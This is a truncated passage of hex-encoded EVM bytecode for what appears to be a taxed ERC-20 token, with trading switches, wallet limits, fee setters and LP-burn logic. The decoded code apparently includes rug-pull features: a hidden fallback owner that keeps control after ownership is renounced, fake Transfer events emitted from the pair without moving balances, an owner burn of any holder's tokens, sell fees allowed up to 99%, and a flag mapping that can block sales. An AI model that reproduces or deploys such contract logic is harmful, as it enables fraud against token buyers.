8c379a00000000000000000000000000000000000000000000000000000000081526004016112d690614db6565b60405180910390fd5b670de0b6b3a7640000816112f39190614f4d565b600b8190555050565b6000611309848484612a2e565b6113ca846113156127dd565b6113c5856040518060600160405280602881526020016158f460289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061137b6127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b6127e5565b600190509392505050565b6113dd6129b0565b60005b838390508110156114d257838382818110611424577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190611439919061426a565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114b79190614dd6565b60405180910390a380806114ca906150cb565b9150506113e0565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b60006115bc6115206127dd565b846115b785600360006115316127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b6127e5565b6001905092915050565b6115ce6129b0565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6116966129b0565b60005b8383905081101561175b5781601660008686858181106116e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906116f7919061426a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611753906150cb565b915050611699565b50505050565b601b5481565b601560029054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117eb6129b0565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118b16129b0565b6102588310156118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed90614b56565b60405180910390fd5b6103e88211158015611909575060008210155b611948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193f90614bf6565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b600061197f6129b0565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6119a96129b0565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b611a386129b0565b826018819055508160198190555080601a81905550601a54601954601854611a609190614ec6565b611a6a9190614ec6565b60178190555060196017541115611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90614d96565b60405180910390fd5b505050565b611ac36129b0565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611b5f6129b0565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611b8b90615099565b80601f0160208091040260200160405190810160405280929190818152602001828054611bb790615099565b8015611c045780601f10611bd957610100808354040283529160200191611c04565b820191906000526020600020905b815481529060010190602001808311611be757829003601f168201915b5050505050905090565b601a5481565b611c1c6129b0565b611c2682826135b9565b5050565b60105481565b60215481565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601e5481565b611c9a6129b0565b611ca48282611e94565b5050565b6000611d6b611cb56127dd565b84611d668560405180606001604052806025815260200161591c6025913960036000611cdf6127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b6127e5565b6001905092915050565b60145481565b6000611d8f611d886127dd565b8484612a2e565b6001905092915050565b611da16129b0565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e9c6129b0565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611f936129b0565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120309190614a5e565b60405180910390a25050565b6120446129b0565b82601c8190555081601d8190555080601e81905550601e54601d54601c5461206c9190614ec6565b6120769190614ec6565b601b819055506063601b5411156120c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b990614bd6565b60405180910390fd5b505050565b6120cf6129b0565b633b9aca006103e860056120e161117b565b6120eb9190614f4d565b6120f59190614f1c565b6120ff9190614f1c565b811015612141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213890614b96565b60405180910390fd5b633b9aca00816121519190614f4d565b600a8190555050565b6121626129b0565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506121d0600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119a1565b50565b602360009054906101000a900460ff1681565b600b5481565b60006121f66129b0565b620186a0600161220461117b565b61220e9190614f4d565b6122189190614f1c565b82101561225a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225190614c16565b60405180910390fd5b6103e8600a61226761117b565b6122719190614f4d565b61227b9190614f1c565b8211156122bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b490614cb6565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061236a6129b0565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b61239a6129b0565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614b16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124dd6129b0565b600f546010546124ed9190614ec6565b421161252e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252590614d36565b60405180910390fd5b6103e8821115612573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256a90614cf6565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125d79190614a43565b60206040518083038186803b1580156125ef57600080fd5b505afa158015612603573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061262791906144c1565b90506000612652612710612644868561378590919063ffffffff16565b61380090919063ffffffff16565b9050600081111561268d5761268c600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead8361384a565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561275b57600080fd5b505af115801561276f573d6000803e3d6000fd5b5050505060019350505050919050565b600080828461278e9190614ec6565b9050838110156127d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ca90614b76565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284c90614d56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128bc90614b36565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129a39190614dd6565b60405180910390a3505050565b6129b86127dd565b73ffffffffffffffffffffffffffffffffffffffff166129d6613ae3565b73ffffffffffffffffffffffffffffffffffffffff1614612a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2390614c96565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9590614d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0590614ab6565b60405180910390fd5b6000811415612b2857612b238383600061384a565b613550565b601560009054906101000a900460ff161561313f57612b45611b02565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612bb35750612b83611b02565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bec5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c26575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c3f5750600960149054906101000a900460ff16155b1561313e57601560019054906101000a900460ff16612d3957602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cf95750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2f90614af6565b60405180910390fd5b5b602360009054906101000a900460ff1615612f0357612d56611b02565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612ddd57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e375750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f025743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb490614c56565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ff657600b54811115612f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9090614c36565b60405180910390fd5b600a54612fa58361179a565b82612fb09190614ec6565b1115612ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fe890614d76565b60405180910390fd5b61313d565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309157600b5481111561308c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308390614bb6565b60405180910390fd5b61313c565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313b57600a546130ee8361179a565b826130f99190614ec6565b111561313a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161313190614d76565b60405180910390fd5b5b5b5b5b5b600061314a3061179a565b90506000600c54821015905080801561316f5750601560029054906101000a900460ff165b80156131885750600960149054906101000a900460ff16155b80156131de5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132345750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613278576001600960146101000a81548160ff02191690831515021790555061325c613af7565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156132a15750601260009054906101000a900460ff165b156132b1576132af85613c7f565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133675750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561337157600090505b60008115613540576000601b54111561344c576133ac606461339e601b548861378590919063ffffffff16565b61380090919063ffffffff16565b9050601b54601d54826133bf9190614f4d565b6133c99190614f1c565b602060008282546133da9190614ec6565b92505081905550601b54601e54826133f29190614f4d565b6133fc9190614f1c565b6021600082825461340d9190614ec6565b92505081905550601b54601c54826134259190614f4d565b61342f9190614f1c565b601f60008282546134409190614ec6565b9250508190555061351c565b6000601754111561351b5761347f60646134716017548861378590919063ffffffff16565b61380090919063ffffffff16565b9050601754601954826134929190614f4d565b61349c9190614f1c565b602060008282546134ad9190614ec6565b92505081905550601754601a54826134c59190614f4d565b6134cf9190614f1c565b602160008282546134e09190614ec6565b92505081905550601754601854826134f89190614f4d565b6135029190614f1c565b601f60008282546135139190614ec6565b925050819055505b5b60008111156135315761353087308361384a565b5b808561353d9190614fa7565b94505b61354b87878761384a565b505050505b505050565b600083831115829061359d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135949190614a94565b60405180910390fd5b50600083856135ac9190614fa7565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362090614cd6565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156136b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136a790614ad6565b60405180910390fd5b816004546136be9190614fa7565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137139190614fa7565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516137789190614dd6565b60405180910390a3505050565b60008083141561379857600090506137fa565b600082846137a69190614f4d565b90508284826137b59190614f1c565b146137f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137ec90614c76565b60405180910390fd5b809150505b92915050565b600061384283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613d4c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156138ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138b190614d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561392a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161392190614ab6565b60405180910390fd5b613935838383613daf565b6139a1816040518060600160405280602681526020016158ce60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613ad69190614dd6565b60405180910390a3505050565b600080613aee613db4565b90508091505090565b6000613b023061179a565b90506000602154601f54602054613b199190614ec6565b613b239190614ec6565b9050600080831480613b355750600082145b15613b4257505050613c7d565b6014600c54613b519190614f4d565b831115613b6a576014600c54613b679190614f4d565b92505b600060028360205486613b7d9190614f4d565b613b879190614f1c565b613b919190614f1c565b90506000613ba88286613e5890919063ffffffff16565b90506000479050613bb882613ea2565b6000613bcd8247613e5890919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613c2d90614a2e565b60006040518083038185875af1925050503d8060008114613c6a576040519150601f19603f3d011682016040523d82523d6000602084013e613c6f565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613cbb9190614a43565b60206040518083038186803b158015613cd357600080fd5b505afa158015613ce7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d0b91906144c1565b90506000613d246011548361277f90919063ffffffff16565b9050613d2f84614160565b613d415760008114613d4057600080fd5b5b600192505050919050565b60008083118290613d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d8a9190614a94565b60405180910390fd5b5060008385613da29190614f1c565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613e2f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613e53565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613e9a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613555565b905092915050565b6000600267ffffffffffffffff811115613ee5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015613f135781602001602082028036833780820191505090505b5090503081600081518110613f51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613ff157600080fd5b505afa158015614005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140299190614293565b81600181518110614063577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140c8307f0000000000000000000000000000000000000000000000000000000000000000846127e5565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161412a959493929190614df1565b600060405180830381600087803b15801561414457600080fd5b505af1158015614158573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000813590506141c681615888565b92915050565b6000815190506141db81615888565b92915050565b60008083601f8401126141f357600080fd5b8235905067ffffffffffffffff81111561420c57600080fd5b60208301915083602082028301111561422457600080fd5b9250929050565b60008135905061423a8161589f565b92915050565b60008135905061424f816158b6565b92915050565b600081519050614264816158b6565b92915050565b60006020828403121561427c57600080fd5b600061428a848285016141b7565b91505092915050565b6000602082840312156142a557600080fd5b60006142b3848285016141cc565b91505092915050565b600080604083850312156142cf57600080fd5b60006142dd858286016141b7565b92505060206142ee858286016141b7565b9150509250929050565b60008060006060848603121561430d57600080fd5b600061431b868287016141b7565b935050602061432c868287016141b7565b925050604061433d86828701614240565b9150509250925092565b6000806040838503121561435a57600080fd5b6000614368858286016141b7565b92505060206143798582860161422b565b9150509250929050565b6000806040838503121561439657600080fd5b60006143a4858286016141b7565b92505060206143b585828601614240565b9150509250929050565b6000806000604084860312156143d457600080fd5b600084013567ffffffffffffffff8111156143ee57600080fd5b6143fa868287016141e1565b9350935050602061440d8682870161422b565b9150509250925092565b60008060006040848603121561442c57600080fd5b600084013567ffffffffffffffff81111561444657600080fd5b614452868287016141e1565b9350935050602061446586828701614240565b9150509250925092565b60006020828403121561448157600080fd5b600061448f8482850161422b565b91505092915050565b6000602082840312156144aa57600080fd5b60006144b884828501614240565b91505092915050565b6000602082840312156144d357600080fd5b60006144e184828501614255565b91505092915050565b6000806000606084860312156144ff57600080fd5b600061450d86828701614240565b935050602061451e86828701614240565b925050604061452f8682870161422b565b9150509250925092565b60008060006060848603121561454e57600080fd5b600061455c86828701614240565b935050602061456d86828701614240565b925050604061457e86828701614240565b9150509250925092565b600061459483836145a0565b60208301905092915050565b6145a981614fdb565b82525050565b6145b881614fdb565b82525050565b60006145c982614e76565b6145d38185614e99565b93506145de83614e66565b8060005b8381101561460f5781516145f68882614588565b975061460183614e8c565b9250506001810190506145e2565b5085935050505092915050565b61462581614fed565b82525050565b61463481615030565b82525050565b61464381615054565b82525050565b600061465482614e81565b61465e8185614eb5565b935061466e818560208601615066565b614677816151a1565b840191505092915050565b600061468f602383614eb5565b915061469a826151b2565b604082019050919050565b60006146b2602283614eb5565b91506146bd82615201565b604082019050919050565b60006146d5601683614eb5565b91506146e082615250565b602082019050919050565b60006146f8602683614eb5565b915061470382615279565b604082019050919050565b600061471b602283614eb5565b9150614726826152c8565b604082019050919050565b600061473e603383614eb5565b915061474982615317565b604082019050919050565b6000614761601b83614eb5565b915061476c82615366565b602082019050919050565b6000614784602483614eb5565b915061478f8261538f565b604082019050919050565b60006147a7603683614eb5565b91506147b2826153de565b604082019050919050565b60006147ca601d83614eb5565b91506147d58261542d565b602082019050919050565b60006147ed603083614eb5565b91506147f882615456565b604082019050919050565b6000614810603583614eb5565b915061481b826154a5565b604082019050919050565b6000614833603583614eb5565b915061483e826154f4565b604082019050919050565b6000614856604983614eb5565b915061486182615543565b606082019050919050565b6000614879602183614eb5565b9150614884826155b8565b604082019050919050565b600061489c602083614eb5565b91506148a782615607565b602082019050919050565b60006148bf603283614eb5565b91506148ca82615630565b604082019050919050565b60006148e2602183614eb5565b91506148ed8261567f565b604082019050919050565b6000614905602a83614eb5565b9150614910826156ce565b604082019050919050565b6000614928602583614eb5565b91506149338261571d565b604082019050919050565b600061494b602083614eb5565b91506149568261576c565b602082019050919050565b600061496e600083614eaa565b915061497982615795565b600082019050919050565b6000614991602483614eb5565b915061499c82615798565b604082019050919050565b60006149b4601383614eb5565b91506149bf826157e7565b602082019050919050565b60006149d7601d83614eb5565b91506149e282615810565b602082019050919050565b60006149fa602f83614eb5565b9150614a0582615839565b604082019050919050565b614a1981615019565b82525050565b614a2881615023565b82525050565b6000614a3982614961565b9150819050919050565b6000602082019050614a5860008301846145af565b92915050565b6000602082019050614a73600083018461461c565b92915050565b6000602082019050614a8e600083018461462b565b92915050565b60006020820190508181036000830152614aae8184614649565b905092915050565b60006020820190508181036000830152614acf81614682565b9050919050565b60006020820190508181036000830152614aef816146a5565b9050919050565b60006020820190508181036000830152614b0f816146c8565b9050919050565b60006020820190508181036000830152614b2f816146eb565b9050919050565b60006020820190508181036000830152614b4f8161470e565b9050919050565b60006020820190508181036000830152614b6f81614731565b9050919050565b60006020820190508181036000830152614b8f81614754565b9050919050565b60006020820190508181036000830152614baf81614777565b9050919050565b60006020820190508181036000830152614bcf8161479a565b9050919050565b60006020820190508181036000830152614bef816147bd565b9050919050565b60006020820190508181036000830152614c0f816147e0565b9050919050565b60006020820190508181036000830152614c2f81614803565b9050919050565b60006020820190508181036000830152614c4f81614826565b9050919050565b60006020820190508181036000830152614c6f81614849565b9050919050565b60006020820190508181036000830152614c8f8161486c565b9050919050565b60006020820190508181036000830152614caf8161488f565b9050919050565b60006020820190508181036000830152614ccf816148b2565b9050919050565b60006020820190508181036000830152614cef816148d5565b9050919050565b60006020820190508181036000830152614d0f816148f8565b9050919050565b60006020820190508181036000830152614d2f8161491b565b9050919050565b60006020820190508181036000830152614d4f8161493e565b9050919050565b60006020820190508181036000830152614d6f81614984565b9050919050565b60006020820190508181036000830152614d8f816149a7565b9050919050565b60006020820190508181036000830152614daf816149ca565b9050919050565b60006020820190508181036000830152614dcf816149ed565b9050919050565b6000602082019050614deb6000830184614a10565b92915050565b600060a082019050614e066000830188614a10565b614e13602083018761463a565b8181036040830152614e2581866145be565b9050614e3460608301856145af565b614e416080830184614a10565b9695505050505050565b6000602082019050614e606000830184614a1f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614ed182615019565b9150614edc83615019565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f1157614f10615114565b5b828201905092915050565b6000614f2782615019565b9150614f3283615019565b925082614f4257614f41615143565b5b828204905092915050565b6000614f5882615019565b9150614f6383615019565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614f9c57614f9b615114565b5b828202905092915050565b6000614fb282615019565b9150614fbd83615019565b925082821015614fd057614fcf615114565b5b828203905092915050565b6000614fe682614ff9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061503b82615042565b9050919050565b600061504d82614ff9565b9050919050565b600061505f82615019565b9050919050565b60005b83811015615084578082015181840152602081019050615069565b83811115615093576000848401525b50505050565b600060028204905060018216806150b157607f821691505b602082108114156150c5576150c4615172565b5b50919050565b60006150d682615019565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561510957615108615114565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e64203130250000000000000